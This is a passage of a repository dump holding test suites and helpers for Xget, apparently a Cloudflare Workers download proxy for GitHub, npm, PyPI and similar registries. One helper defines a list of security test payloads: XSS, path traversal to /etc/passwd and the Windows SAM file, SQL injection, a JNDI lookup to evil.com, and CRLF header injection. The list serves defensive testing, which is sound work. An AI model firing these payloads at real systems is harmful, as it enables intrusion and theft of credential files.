});\n  });\n\n  describe('Rate Limiting and DoS Protection', () => {\n    it('should handle concurrent requests gracefully', async () => {\n      const requests = Array(10)\n        .fill(null)\n        .map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));\n\n      const responses = await Promise.all(requests);\n\n      // All requests should be handled without errors\n      responses.forEach((/** @type {Response} */ response) => {\n        expect(response.status).not.toBe(500);\n      });\n    }, 30000);\n\n    it('should timeout long-running requests', async () => {\n      // This test would need to be implemented based on actual timeout behavior\n      // For now, we just verify the request doesn't hang indefinitely\n      const startTime = Date.now();\n\n      try {\n        await SELF.fetch('https://example.com/gh/test/very-large-file', {\n          signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout\n        });\n      } catch {\n        // Request should timeout or complete within reasonable time\n        const elapsed = Date.now() - startTime;\n        expect(elapsed).toBeLessThan(40000); // 40 seconds max\n      }\n    }, 45000);\n  });\n\n  describe('Error Information Disclosure', () => {\n    it('should not expose internal error details', async () => {\n      const response = await SELF.fetch('https://example.com/invalid-platform/test', {\n        redirect: 'manual' // Don't follow redirects\n      });\n\n      // Should return error or redirect\n      expect([400, 404, 302, 301]).toContain(response.status);\n\n      if (response.status >= 400) {\n        const body = await response.text();\n        // Should not expose internal paths, stack traces, or sensitive info\n        expect(body).not.toMatch(/\\/[a-zA-Z]:[\\\\/]/); // Windows paths\n        expect(body).not.toMatch(/\\/home\\/[^/]+/); // Unix home paths\n        expect(body).not.toMatch(/at [a-zA-Z]+\\.[a-zA-Z]+/); // Stack traces\n        expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages\n      }\n    });\n\n    it('should provide generic error messages', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo', {\n        method: 'TRACE',\n        redirect: 'manual'\n      });\n\n      // Should return error or redirect\n      expect([400, 404, 302, 301, 405, 501]).toContain(response.status);\n    });\n  });\n\n  describe('CORS Security', () => {\n    it('should handle CORS preflight requests securely', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo', {\n        method: 'OPTIONS',\n        headers: {\n          Origin: 'https://evil.com',\n          'Access-Control-Request-Method': 'GET',\n          'Access-Control-Request-Headers': 'X-Custom-Header'\n        }\n      });\n\n      // Should either reject OPTIONS or handle CORS securely\n      if (response.status === 200) {\n        const allowOrigin = response.headers.get('Access-Control-Allow-Origin');\n        // Should not blindly allow all origins for sensitive operations\n        expect(allowOrigin).not.toBe('https://evil.com');\n      }\n    });\n  });\n\n  describe('Content Type Security', () => {\n    it('should not execute uploaded content', async () => {\n      // Test that the service doesn't execute or interpret uploaded content\n      const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');\n\n      // Should serve content with appropriate headers, not execute it\n      const contentType = response.headers.get('Content-Type');\n      if (contentType) {\n        expect(contentType).not.toContain('text/html');\n        expect(contentType).not.toContain('application/javascript');\n      }\n    });\n  });\n});\n"
  },
  {
    "path": "test/fixtures/responses.js",
    "content": "/**\n * Mock HTTP response fixtures for testing\n * Organized by platform with realistic response data\n */\n\nexport const MOCK_RESPONSES = {\n  github: {\n    packageJson: {\n      status: 200,\n      headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' },\n      body: JSON.stringify({\n        name: 'vscode',\n        version: '1.85.0',\n        description: 'Visual Studio Code'\n      })\n    },\n    readme: {\n      status: 200,\n      headers: { 'Content-Type': 'text/plain; charset=utf-8' },\n      body: '# Visual Studio Code\\n\\nCode editing. Redefined.'\n    },\n    gitInfoRefs: {\n      status: 200,\n      headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' },\n      body: '001e# service=git-upload-pack\\n0000009144b8c8cf...'\n    }\n  },\n\n  npm: {\n    packageMetadata: {\n      status: 200,\n      headers: { 'Content-Type': 'application/json' },\n      body: JSON.stringify({\n        name: 'react',\n        version: '18.2.0',\n        description: 'React is a JavaScript library for building user interfaces.'\n      })\n    }\n  },\n\n  pypi: {\n    simpleIndex: {\n      status: 200,\n      headers: { 'Content-Type': 'text/html' },\n      body: '<!DOCTYPE html><html><head><title>Links for requests</title></head></html>'\n    }\n  },\n\n  errors: {\n    notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' },\n    badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' },\n    unauthorized: {\n      status: 401,\n      headers: { 'Content-Type': 'text/plain' },\n      body: 'Unauthorized'\n    },\n    internalServerError: {\n      status: 500,\n      headers: { 'Content-Type': 'text/plain' },\n      body: 'Internal Server Error'\n    }\n  }\n};\n\n/**\n * Create a Response object from mock data\n * @param {{body: string, status: number, headers?: Record<string, string>}} mockData - Mock response data\n * @returns {Response} Response object\n */\nexport function createMockResponse(mockData) {\n  return new Response(mockData.body, {\n    status: mockData.status,\n    headers: mockData.headers\n  });\n}\n"
  },
  {
    "path": "test/helpers/assertions.js",
    "content": "/**\n * Custom assertions and validation helpers\n */\n\n/**\n * Validate response headers for security\n * @param {Response} response - Response to validate\n * @returns {{passed: boolean, missing: string[], present: string[]}} Validation results\n */\nexport function validateSecurityHeaders(response) {\n  const requiredHeaders = [\n    'Strict-Transport-Security',\n    'X-Frame-Options',\n    'X-XSS-Protection',\n    'Content-Security-Policy',\n    'Referrer-Policy'\n  ];\n\n  const results = {\n    passed: true,\n    /** @type {string[]} */\n    missing: [],\n    /** @type {string[]} */\n    present: []\n  };\n\n  requiredHeaders.forEach(header => {\n    if (response.headers.has(header)) {\n      results.present.push(header);\n    } else {\n      results.missing.push(header);\n      results.passed = false;\n    }\n  });\n\n  return results;\n}\n\n/**\n * Assert that a URL is valid\n * @param {string} url - URL to validate\n * @returns {boolean} True if valid\n */\nexport function isValidUrl(url) {\n  try {\n    new URL(url);\n    return true;\n  } catch {\n    return false;\n  }\n}\n\n/**\n * Assert that response has security headers\n * @param {Response} response - Response to check\n * @returns {boolean} True if has all security headers\n */\nexport function hasSecurityHeaders(response) {\n  const validation = validateSecurityHeaders(response);\n  return validation.passed;\n}\n"
  },
  {
    "path": "test/helpers/generators.js",
    "content": "/**\n * Test data generators\n */\n\n/**\n * Generate test URLs for different platforms\n * @param {string} platform - Platform identifier (gh, gl, hf, etc.)\n * @param {string} path - Resource path\n * @returns {string} Complete test URL\n */\nexport function generateTestUrl(platform, path) {\n  const baseUrl = 'https://example.com';\n  return `${baseUrl}/${platform}/${path}`;\n}\n\n/**\n * Common test URLs for different platforms\n */\nexport const TEST_URLS = {\n  github: {\n    file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',\n    raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',\n    release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',\n    archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',\n    git: 'https://example.com/gh/microsoft/vscode.git'\n  },\n  gitlab: {\n    file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',\n    raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',\n    archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',\n    git: 'https://example.com/gl/gitlab-org/gitlab.git'\n  },\n  huggingface: {\n    model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',\n    dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',\n    file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'\n  },\n  npm: {\n    package: 'https://example.com/npm/react',\n    tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',\n    scoped: 'https://example.com/npm/@types/node',\n    npmPackage: 'https://example.com/npm/npm',\n    npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'\n  },\n  pypi: {\n    simple: 'https://example.com/pypi/simple/requests/',\n    package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',\n    wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'\n  },\n  conda: {\n    main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',\n    community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',\n    repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'\n  }\n};\n\n/**\n * Security test payloads\n */\nexport const SECURITY_PAYLOADS = {\n  xss: [\n    '<script>alert(1)</script>',\n    `${'javascript'}:alert(1)`,\n    '\"><script>alert(1)</script>',\n    \"';alert(1);//\"\n  ],\n  pathTraversal: [\n    '../../../etc/passwd',\n    '..%2F..%2F..%2Fetc%2Fpasswd',\n    '..\\\\..\\\\..\\\\windows\\\\system32\\\\config\\\\sam',\n    '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'\n  ],\n  injection: [\"'; DROP TABLE users; --\", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],\n  headerInjection: [\n    'value\\r\\nX-Injected: malicious',\n    'value\\nX-Injected: malicious',\n    'value\\r\\n\\r\\n<script>alert(1)</script>'\n  ]\n};\n\n/**\n * Test data generators\n */\nexport const TestDataGenerator = {\n  /**\n   * Generate random string\n   * @param {number} length - String length\n   * @returns {string} Random string\n   */\n  randomString(length = 10) {\n    const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';\n    let result = '';\n    for (let i = 0; i < length; i++) {\n      result += chars.charAt(Math.floor(Math.random() * chars.length));\n    }\n    return result;\n  },\n\n  /**\n   * Generate random GitHub repository path\n   * @returns {string} Repository path\n   */\n  githubRepo() {\n    const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];\n    const repos = ['vscode', 'react', 'angular', 'vue', 'node'];\n    const user = users[Math.floor(Math.random() * users.length)];\n    const repo = repos[Math.floor(Math.random() * repos.length)];\n    return `${user}/${repo}`;\n  },\n\n  /**\n   * Generate random file path\n   * @returns {string} File path\n   */\n  filePath() {\n    const dirs = ['src', 'lib', 'test', 'docs', 'config'];\n    const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];\n    const dir = dirs[Math.floor(Math.random() * dirs.length)];\n    const file = files[Math.floor(Math.random() * files.length)];\n    return `${dir}/${file}`;\n  }\n};\n"
  },
  {
    "path": "test/helpers/index.js",
    "content": "/**\n * Test helpers - centralized exports\n */\n\n// Re-export all utilities\nexport * from './assertions.js';\nexport * from './generators.js';\nexport * from './mocks.js';\n\n/**\n * Performance test utilities\n */\nexport class PerformanceTestHelper {\n  constructor() {\n    /** @type {Array<{name: string, duration: number, timestamp: number}>} */\n    this.measurements = [];\n  }\n\n  /**\n   * Measure execution time of an async function\n   * @param {() => Promise<unknown>} fn - Async function to measure\n   * @param {string} name - Measurement name\n   * @returns {Promise<unknown>} Function result\n   */\n  async measure(fn, name = 'operation') {\n    const start = performance.now();\n    const result = await fn();\n    const end = performance.now();\n\n    this.measurements.push({\n      name,\n      duration: end - start,\n      timestamp: Date.now()\n    });\n\n    return result;\n  }\n\n  /**\n   * Get all measurements\n   * @returns {Array<{name: string, duration: number, timestamp: number}>} Array of measurements\n   */\n  getMeasurements() {\n    return [...this.measurements];\n  }\n\n  /**\n   * Get average duration for a specific measurement name\n   * @param {string} name - Measurement name\n   * @returns {number} Average duration in milliseconds\n   */\n  getAverageDuration(name) {\n    const filtered = this.measurements.filter(m => m.name === name);\n    if (filtered.length === 0) {\n      return 0;\n    }\n\n    const total = filtered.reduce((sum, m) => sum + m.duration, 0);\n    return total / filtered.length;\n  }\n\n  /**\n   * Clear all measurements\n   */\n  clear() {\n    this.measurements = [];\n  }\n}\n\n/**\n * Test timeout helper\n * @param {number} ms - Timeout in milliseconds\n * @returns {Promise<never>} Promise that rejects after timeout\n */\nexport function timeout(ms) {\n  return new Promise((_, reject) => {\n    setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);\n  });\n}\n\n/**\n * Wait for a specified amount of time\n * @param {number} ms - Time to wait in milliseconds\n * @returns {Promise<void>} Promise that resolves after the specified time\n */\nexport function wait(ms) {\n  return new Promise(resolve => setTimeout(resolve, ms));\n}\n"
  },
  {
    "path": "test/helpers/mocks.js",
    "content": "/**\n * Mock creation utilities for tests\n */\n\n/**\n * Create a mock request with default options\n * @param {string} url - Request URL\n * @param {object} options - Request options\n * @returns {Request} Mock request object\n */\nexport function createMockRequest(url, options = {}) {\n  const defaultOptions = {\n    method: 'GET',\n    headers: {\n      'User-Agent': 'Mozilla/5.0 (Test)',\n      Accept: '*/*'\n    }\n  };\n\n  return new Request(url, { ...defaultOptions, ...options });\n}\n\n/**\n * Create a mock response with default options\n * @param {string} body - Response body\n * @param {object} options - Response options\n * @returns {Response} Mock response object\n */\nexport function createMockResponse(body = 'OK', options = {}) {\n  const defaultOptions = {\n    status: 200,\n    statusText: 'OK',\n    headers: {\n      'Content-Type': 'text/plain'\n    }\n  };\n\n  return new Response(body, { ...defaultOptions, ...options });\n}\n\n/**\n * Create a Git request for testing\n * @param {string} url - Git repository URL\n * @param {string} service - Git service (upload-pack or receive-pack)\n * @returns {Request} Git request object\n */\nexport function createGitRequest(url, service = 'git-upload-pack') {\n  const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;\n\n  return new Request(gitUrl, {\n    method: service === 'git-upload-pack' ? 'GET' : 'POST',\n    headers: {\n      'User-Agent': 'git/2.34.1',\n      'Git-Protocol': 'version=2',\n      ...(service !== 'git-upload-pack' && {\n        'Content-Type': `application/x-${service}-request`\n      })\n    }\n  });\n}\n\n/**\n * Create a Docker registry request\n * @param {string} url - Request URL\n * @param {{headers?: Record<string, string>}} options - Request options\n * @returns {Request} Docker request object\n */\nexport function createDockerRequest(url, options = {}) {\n  return new Request(url, {\n    method: 'GET',\n    headers: {\n      'User-Agent': 'docker/24.0.0',\n      Accept: 'application/vnd.docker.distribution.manifest.v2+json',\n      ...options.headers\n    },\n    ...options\n  });\n}\n\n/**\n * Mock fetch function for testing\n * @param {string} url - Request URL\n * @param {object} _options - Fetch options\n * @returns {Promise<Response>} Mock response\n */\nexport function mockFetch(url, _options = {}) {\n  return new Promise(resolve => {\n    setTimeout(() => {\n      if (url.includes('error')) {\n        resolve(createMockResponse('Server Error', { status: 500 }));\n      } else if (url.includes('notfound')) {\n        resolve(createMockResponse('Not Found', { status: 404 }));\n      } else {\n        resolve(createMockResponse('Mock Response', { status: 200 }));\n      }\n    }, 10);\n  });\n}\n\n/**\n * Create a mock npm registry response\n * @param {string} packageName - Package name\n * @param {string} version - Package version\n * @returns {object} Mock npm registry response\n */\nexport function createMockNpmRegistryResponse(packageName, version = '1.0.0') {\n  return {\n    name: packageName,\n    versions: {\n      [version]: {\n        name: packageName,\n        version,\n        dist: {\n          tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,\n          shasum: 'mock-shasum',\n          integrity: 'mock-integrity'\n        }\n      }\n    },\n    'dist-tags': {\n      latest: version\n    }\n  };\n}\n"
  },
  {
    "path": "test/helpers/test-utils.js",
    "content": "/**\n * Test utilities - backward compatibility wrapper\n * This file maintains backward compatibility with existing tests\n * by re-exporting from the new modular structure\n */\n\n// Re-export everything from the new modular helpers\nexport * from './index.js';\n"
  },
  {
    "path": "test/index.test.js",
    "content": "import { SELF } from 'cloudflare:test';\nimport { describe, expect, it } from 'vitest';\n\ndescribe('Xget Core Functionality', () => {\n  describe('Basic Request Handling', () => {\n    it('should redirect root path to homepage', async () => {\n      const response = await SELF.fetch('https://example.com/', { redirect: 'manual' });\n      expect(response.status).toBe(302);\n      expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');\n    });\n\n    it('should redirect platform prefix without path to homepage', async () => {\n      // Test with /gh (no trailing slash)\n      const response1 = await SELF.fetch('https://example.com/gh', { redirect: 'manual' });\n      expect(response1.status).toBe(302);\n      expect(response1.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');\n\n      // Test with /gh/ (with trailing slash)\n      const response2 = await SELF.fetch('https://example.com/gh/', { redirect: 'manual' });\n      expect(response2.status).toBe(302);\n      expect(response2.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');\n\n      // Test with multi-part platform prefix (e.g., /ip/openai)\n      const response3 = await SELF.fetch('https://example.com/ip/openai', { redirect: 'manual' });\n      expect(response3.status).toBe(302);\n      expect(response3.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');\n    });\n\n    it('should redirect invalid platform prefix to homepage', async () => {\n      const response = await SELF.fetch('https://example.com/invalid/test', { redirect: 'manual' });\n      expect(response.status).toBe(302);\n      expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');\n    });\n\n    it('should include security headers in all responses', async () => {\n      const response = await SELF.fetch('https://example.com/', { redirect: 'manual' });\n\n      expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();\n      expect(response.headers.get('X-Frame-Options')).toBe('DENY');\n      expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');\n      expect(response.headers.get('Content-Security-Policy')).toBeTruthy();\n      expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');\n    });\n  });\n\n  describe('Platform URL Transformation', () => {\n    it('should handle GitHub URLs correctly', async () => {\n      const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to GitHub\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle GitLab URLs correctly', async () => {\n      const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to GitLab\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle Hugging Face URLs correctly', async () => {\n      const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to Hugging Face\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle npm URLs correctly', async () => {\n      const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to npm\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle PyPI URLs correctly', async () => {\n      const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to PyPI\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle conda URLs correctly', async () => {\n      const testUrl =\n        'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to conda\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should handle Flathub URLs correctly', async () => {\n      const testUrl = 'https://example.com/flathub/repo/summary';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to Flathub\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should not treat nested /v2/ path segments as container registry requests', async () => {\n      const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/v2/file.tar.gz';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      expect(response.status).not.toBe(400);\n    });\n  });\n\n  describe('HTTP Method Validation', () => {\n    it('should allow GET requests', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'GET'\n      });\n\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should allow HEAD requests', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'HEAD'\n      });\n\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should reject PUT requests for non-Git operations', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'PUT'\n      });\n\n      expect(response.status).toBe(405);\n    });\n\n    it('should reject DELETE requests', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'DELETE'\n      });\n\n      expect(response.status).toBe(405);\n    });\n\n    it('should reject AI-like POST requests outside /ip providers', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/v1/chat/completions', {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/json'\n        },\n        body: JSON.stringify({ message: 'test' })\n      });\n\n      expect(response.status).toBe(405);\n    });\n  });\n\n  describe('Git Protocol Support', () => {\n    it('should allow POST for Git upload-pack', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/x-git-upload-pack-request',\n          'User-Agent': 'git/2.34.1'\n        }\n      });\n\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should allow POST for Git receive-pack', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-receive-pack', {\n        method: 'POST',\n        headers: {\n          'Content-Type': 'application/x-git-receive-pack-request',\n          'User-Agent': 'git/2.34.1'\n        }\n      });\n\n      expect(response.status).not.toBe(405);\n    });\n\n    it('should handle Git info/refs requests', async () => {\n      const response = await SELF.fetch(\n        'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack',\n        {\n          method: 'GET',\n          headers: {\n            'User-Agent': 'git/2.34.1'\n          }\n        }\n      );\n\n      expect(response.status).not.toBe(405);\n    });\n  });\n\n  describe('Path Length Validation', () => {\n    it('should reject extremely long paths', async () => {\n      const longPath = `/gh/${'a'.repeat(3000)}`;\n      const response = await SELF.fetch(`https://example.com${longPath}`);\n\n      expect(response.status).toBe(414);\n    });\n\n    it('should accept normal length paths', async () => {\n      const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';\n      const response = await SELF.fetch(`https://example.com${normalPath}`, { method: 'HEAD' });\n\n      expect(response.status).not.toBe(414);\n    });\n  });\n\n  describe('Performance Headers', () => {\n    it('should include performance metrics in response headers', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'HEAD'\n      });\n\n      expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();\n    });\n\n    it('should include valid JSON in performance metrics', async () => {\n      const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {\n        method: 'HEAD'\n      });\n      const metricsHeader = response.headers.get('X-Performance-Metrics');\n\n      expect(metricsHeader).toBeTruthy();\n      expect(() => JSON.parse(metricsHeader || '')).not.toThrow();\n    });\n  });\n\n  describe('URL Rewriting', () => {\n    it('should rewrite npm registry URLs in JSON responses', async () => {\n      // Mock npm package metadata request\n      const testUrl = 'https://example.com/npm/lodash';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // This test would need actual npm registry response mocking\n      // For now, just verify the request doesn't fail\n      expect([200, 301, 302, 404, 500]).toContain(response.status);\n    });\n\n    it('should preserve npm tarball URL structure', async () => {\n      // Test that npm tarball URLs follow the correct pattern\n      const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy correctly\n      expect(response.status).not.toBe(400);\n    });\n\n    it('should correctly rewrite npm URLs to preserve package names', () => {\n      // Test the regex replacement logic directly\n      const mockOriginalText = JSON.stringify({\n        name: 'npm',\n        versions: {\n          '11.5.1': {\n            dist: {\n              tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'\n            }\n          }\n        }\n      });\n\n      // Simulate the regex replacement that happens in the code\n      const rewrittenText = mockOriginalText.replace(\n        /https:\\/\\/registry.npmjs.org\\/([^/]+)/g,\n        'https://xget.xi-xu.me/npm/$1'\n      );\n\n      const rewrittenData = JSON.parse(rewrittenText);\n\n      // Verify the URL is correctly rewritten with package name preserved\n      expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(\n        'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "test/integration.test.js",
    "content": "import { SELF } from 'cloudflare:test';\nimport { describe, expect, it } from 'vitest';\n\ndescribe('Integration Tests', () => {\n  describe('End-to-End Platform Integration', () => {\n    it('should proxy GitHub file requests correctly', async () => {\n      const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      // Should attempt to proxy to GitHub\n      expect([200, 301, 302, 404]).toContain(response.status);\n\n      // Should include security headers\n      expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();\n      expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();\n    });\n\n    it('should handle GitHub raw file requests', async () => {\n      const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      expect([200, 301, 302, 404]).toContain(response.status);\n    });\n\n    it('should handle GitHub release downloads', async () => {\n      const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      expect([200, 301, 302, 404, 408]).toContain(response.status);\n    }, 60000);\n\n    it('should proxy GitLab file requests correctly', async () => {\n      const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      expect([200, 301, 302, 404]).toContain(response.status);\n      expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();\n    });\n\n    it('should handle Hugging Face model files', async () => {\n      const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      expect([200, 301, 302, 404, 429]).toContain(response.status);\n    }, 10000);\n\n    it('should handle npm package requests', async () => {\n      const testUrl = 'https://example.com/npm/react';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      expect([200, 301, 302, 404]).toContain(response.status);\n    });\n\n    it('should handle PyPI package requests', async () => {\n      const testUrl = 'https://example.com/pypi/simple/requests/';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      expect([200, 301, 302, 404]).toContain(response.status);\n    });\n\n    it('should handle conda package requests', async () => {\n      const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json';\n      const response = await SELF.fetch(testUrl, { method: 'HEAD' });\n\n      expect([200, 301, 302, 404]).toContain(response.status);\n    });\n  });\n\n  describe('Caching Integration', () => {\n    it('should cache responses appropriately', async () => {\n      const testUrl = 'https://example.com/gh/test/repo/static-file.txt';\n\n      // First request\n      const response1 = await SELF.fetch(testUrl);\n      const metrics1 = response1.headers.get('X-Performance-Metrics');\n\n      // Second request (should potentially hit cache)\n      const response2 = await SELF.fetch(testUrl);\n      const metrics2 = response2.headers.get('X-Performance-Metrics');\n\n      expect(metrics1).toBeTruthy();\n      expect(metrics2).toBeTruthy();\n\n      // Both requests should succeed\n      expect(response1.status).toBe(response2.status);\n    });\n\n    it('should not cache Git protocol requests', async () => {\n      const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack';\n\n      const response = await SELF.fetch(testUrl, {\n        headers: {\n          'User-Agent': 'git/2.34.1'\n        }\n      });\n\n      // Git requests should not be cached (no cache headers)\n      expect(response.headers.get('Cache-Control') || '').not.toContain('max-age=1800');\n    });\n  });\n\n  describe('Error Handling Integration', () => {\n    it('should handle upstream server errors gracefully', async () => {\n      const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt';\n      const response = await SELF.fetch(testUrl);\n\n      // Should handle 404 from upstream gracefully\n      expect([404, 502, 503]).toContain(response.status);\n      expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();\n    });\n\n    it('should handle network timeouts', async () => {\n      // This would test timeout handling, but is difficult to simulate\n      // in a unit test environment. In practice, this would be tested\n      // with a mock server that delays responses.\n      const testUrl = 'https://example.com/gh/test/repo/file.txt';\n      const response = await SELF.fetch(testUrl);\n\n      // Should complete within reasonable time\n      expect(response.status).toBeDefined();\n    });\n\n    it('should retry failed requests', async () => {\n      // Test retry mechanism by checking performance metrics\n      const testUrl = 'https://example.com/gh/test/unreliable-endpoint';\n      const response = await SELF.fetch(testUrl);\n\n      const metricsHeader = response.headers.get('X-Performance-Metrics');\n      if (metricsHeader) {\n        const metrics = JSON.parse(metricsHeader);\n        // If retries occurred, there should be timing data\n        expect(typeof metrics).toBe('object');\n      }\n    }, 20000);\n  });\n\n  describe('Performance Integration', () => {\n    it('should complete requests within reasonable time', async () => {\n      const startTime = Date.now();\n      const testUrl = 'https://example.com/gh/test/repo/small-file.txt';\n\n      const response = await SELF.fetch(testUrl);\n      const endTime = Date.now();\n\n      const duration = endTime - startTime;\n\n      // Should complete within 30 seconds (timeout limit)\n      expect(duration).toBeLessThan(30000);\n      expect(response.status).toBeDefined();\n    });\n\n    it('should include performance metrics in all responses', async () => {\n      const testUrls = [\n        'https://example.com/gh/test/repo/file.txt',\n        'https://example.com/npm/test-package',\n        'https://example.com/pypi/simple/test/'\n      ];\n\n      const responses = await Promise.all(testUrls.map(url => SELF.fetch(url, { method: 'HEAD' })));\n\n      for (const response of responses) {\n        expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();\n      }\n    }, 20000);\n  });\n\n  describe('Content Type Handling', () => {\n    it('should preserve content types from upstream', async () => {\n      const testCases = [\n        { url: 'https://example.com/gh/test/repo/image.png', expectedType: 'image' },\n        { url: 'https://example.com/gh/test/repo/data.json', expectedType: 'json' },\n        { url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' },\n        { url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' }\n      ];\n\n      for (const testCase of testCases) {\n        const response = await SELF.fetch(testCase.url, { method: 'HEAD' });\n\n        if (response.status === 200) {\n          const contentType = response.headers.get('Content-Type');\n     